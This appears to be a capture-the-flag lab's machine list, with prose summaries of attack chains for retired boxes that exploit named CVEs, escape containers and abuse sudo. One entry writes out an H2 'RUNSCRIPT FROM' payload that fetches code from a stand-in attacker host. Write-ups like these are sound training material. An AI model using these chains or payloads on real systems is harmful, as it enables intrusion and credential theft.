ls -la ./machines [26]
sorted: date ▼
/
difficulty
os
namediffosdatetags
DanglingTree
medium
windows
not yet retired
Cohort
easy
linux
not yet retired
Bedside
medium
linux
not yet retired
Paperwork
easy
linux
not yet retired
Enigma
easy
linux
not yet retired
Checkpoint
medium
windows
not yet retired
Connected
easy
linux
not yet retired
DevHub
medium
linux
not yet retired
Reactor
easy
linux
not yet retired
Helix
medium
linux
The vhost flow.helix.htb proxies an Apache NiFi 1.21.0 canvas that runs completely unauthenticated — GET /nifi-api/flow/current-user returns anonymous with every permission true — so CVE-2023-34468 (NiFi 0.0.2–1.21.0, fixed 1.22.0, CVSS 8.8) is reachable cold: a DBCPConnectionPool pointed at an H2 in-memory JDBC URL plus an ExecuteSQL processor running RUNSCRIPT FROM 'http://attacker/rce.sql' executes H2's CREATE ALIAS Java stored procedure and returns a shell as nifi. A forgotten support bundle leaves operator's OpenSSH ed25519 key world-readable at /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak, giving user.txt. Root is an ICS safety-interlock abuse: operator may sudo /usr/local/sbin/helix-maint-console, which only checks that /opt/helix/state/maintenance_window holds a future timestamp before exec'ing bash -p, and the root helix-safety controller writes that file when the reactor enters a hazardous test band. The loopback-only OPC UA PLC on 127.0.0.1:4840 accepts anonymous writes, so setting Mode=MAINTENANCE, TestOverride=True and slowly ramping CalibrationOffset until Temperature crosses 295 °C — without hitting the 305 °C trip — makes root open the window itself.
apache nifi·cve-2023-34468·h2 jdbc·runscript·java code injection·rce·+7
Silentium
easy
linux
A staging Flowise 3.0.5 instance leaks a live password-reset token straight back in the /api/v1/account/forgot-password response (CVE-2025-58434), giving instant takeover of the ben@silentium.htb admin account. Authenticated, the Custom MCP node's mcpServerConfig (CVE-2025-59528) spawns arbitrary processes, yielding root inside the Flowise container — whose environment block hands over SMTP_PASSWORD, reused verbatim as ben's system password over SSH. Root comes from a second internal app: Gogs 0.13.3 running as root with open registration, where CVE-2025-8110 lets the contents API write through a committed symlink to overwrite the repository's pre-receive hook, executed as root on the next push.
flowise·cve-2025-58434·password reset token disclosure·account takeover·cve-2025-59528·custom mcp·+10
DevArea
medium
linux
Anonymous FTP exposed a Java SOAP service JAR; an MTOM XXE attack against the CXF endpoint leaked the Hoverfly admin password from a systemd unit file, then authenticated RCE via Hoverfly middleware yielded a shell as dev_ryan; privilege escalation exploited a world-writable /bin/bash by writing a SUID-creating wrapper triggered by a root-owned systemd timer.
ftp·xxe·soap·mtom·apache cxf·hoverfly·+4
Kobold
easy
linux
MCP Inspector STDIO RCE for foothold, PHP code injection in PrivateBin container to leak credentials, Docker escape via Arcane container management.
mcp·docker·privatebin·php-injection·password-reuse·arcane
VariaType
medium
linux
Exploited fonttools CVE-2025-66034 designspace path traversal to write a PHP webshell, escalated to user via FontForge archive command injection, then root via setuptools PackageIndex arbitrary file write to cron.d.
fonttools·cve-2025-66034·path-traversal·php-injection·lfi·git-exposure·+5
CCTV
easy
linux
Default ZoneMinder credentials lead to RCE as www-data. Lateral movement via cracked bcrypt hash to SSH as mark, then sniffing Docker inter-container traffic for sa_mark credentials. Privilege escalation by abusing motionEye running as root to inject a reverse shell into camera event hooks.
zoneminder·default credentials·docker·motioneye·credential sniffing·rce
Interpreter
medium
linux
Pre-auth RCE via CVE-2023-43208 XStream deserialization in Mirth Connect 4.4.0, lateral movement through MySQL credential extraction and password hash replacement, privilege escalation via Python eval() injection in an internal Flask notification app running as root.
xstream deserialization·mirth connect·cve-2023-43208·hl7/mllp·python eval() injection
WingData
easy
linux
Unauthenticated RCE in Wing FTP Server v7.4.3 via NULL byte Lua injection (CVE-2025-47812), lateral movement through cracked FTP user password hash, and root via Python tarfile data filter PATH_MAX bypass (CVE-2025-4517).
wing ftp server·cve-2025-47812·lua injection·password cracking·hashcat·tarfile filter bypass·+3
Pterodactyl
medium
linux
Unauthenticated RCE via Pterodactyl Panel LFI (CVE-2025-49132), credential reuse for SSH, then privilege escalation via PAM session injection (CVE-2025-6018) chained with udisks2 XFS resize race condition (CVE-2025-6019) to obtain root.
cve-2025-49132·lfi·pearcmd·rce·cve-2025-6018·cve-2025-6019·+6
Facts
easy
linux
Exploited CamaleonCMS path traversal (CVE-2024-46987) to extract MinIO credentials and an encrypted SSH key, then escalated via sudo facter --custom-dir to root.
camaleoncms·cve-2024-46987·lfi·minio·ssh key cracking·facter sudo abuse
Overwatch
medium
windows
Windows AD DC with anonymous SMB share leaking .NET app credentials, MSSQL linked server DNS poisoning for credential capture, and WCF SOAP service command injection for SYSTEM access.
active directory·mssql·wcf·command injection·dns poisoning·linked server·+1
AirTouch
medium
linux
WiFi-centric box involving SNMP credential leak, WPA PSK cracking, web app file upload via cookie manipulation, WPA-Enterprise evil twin attack, and hostapd-wpe EAP user file credential disclosure for privilege escalation.
wifi·snmp·wpa-enterprise·peap·mschapv2·docker·+4
Browsed
medium
linux
Malicious Chrome MV3 extension uploaded to server-side browser achieved RCE via bash arithmetic evaluation in a Flask/bash backend, then escalated to root via .pyc injection into a world-writable __pycache__ directory of a sudo-allowed Python script.
chrome extension·bash arithmetic evaluation·python pyc injection·sudo abuse·gitea·flask
MonitorsFour
easy
windows
IDOR credential leak, Cacti SQL injection to stacked-query log poisoning RCE, and Docker Desktop API escape to root.
idor·cacti·sqli·rce·docker·docker desktop escape·+3
Expressway
easy
linux
IKEv1 Aggressive Mode PSK hash capture and offline brute-force reveals SSH credentials; custom sudo 1.9.17 binary is exploited via CVE-2025-32463 NSS library injection to achieve root.
ike·ikev1·aggressive-mode·psk·ipsec·sudo·+3
Baby
easy
windows
LDAP anonymous bind leaks an initial password in a user description; the target user (Caroline.Robinson) has STATUS_PASSWORD_MUST_CHANGE set, allowing password reset via SAMR; Backup Operators group membership enables direct flag read via FILE_OPEN_FOR_BACKUP_INTENT over SMB.
active-directory·ldap·password-must-change·backup-operators·sebackupprivilege·windows-server-2022
Eighteen
easy
windows
Windows Server 2025 DC with MSSQL impersonation leading to credential extraction, password spray for WinRM access, and BadSuccessor dMSA privilege escalation to Domain Admin.
mssql·sql impersonation·pbkdf2·dmsa·badsuccessor·active directory·+1no machines match that filter